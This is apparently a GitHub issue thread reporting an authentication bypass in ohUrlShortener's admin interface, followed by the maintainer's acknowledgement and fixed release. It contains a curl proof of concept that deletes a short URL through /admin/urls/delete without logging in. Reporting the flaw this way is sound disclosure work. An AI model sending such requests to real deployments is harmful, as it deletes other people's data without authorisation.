在管理端点中发现未经授权的访问。

[douglas-oliveira-tc]

I was implementing your project for an internal experimentation, and found a critical issue that allows unauthenticated users to bypass auth controls.

Steps to reproduce:

curl -i -s -k -X $'POST' -H $'Host: admin.ohUrlShortener.com' -H $'Referer: http://admin.ohUrlShortener.com/admin/urls' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 18' --data-binary $'short_url=Ak3vaj58' $'http://admin.ohUrlShortener.com/admin/urls/delete'

All examples were run in my environment, the address used is only for illustration purposes.

[barats]

I'll check for this issue, TODAY.

[barats]

Turns out, it was my bad. Sorry about it.

Already fixed this issue and drafted a new release: https://github.com/barats/ohUrlShortener/releases/tag/v1.7

[douglas-oliveira-tc]

That's great, thanks a lot!

[barats]

That's great, thanks a lot!

I should thank you for reporting this issue.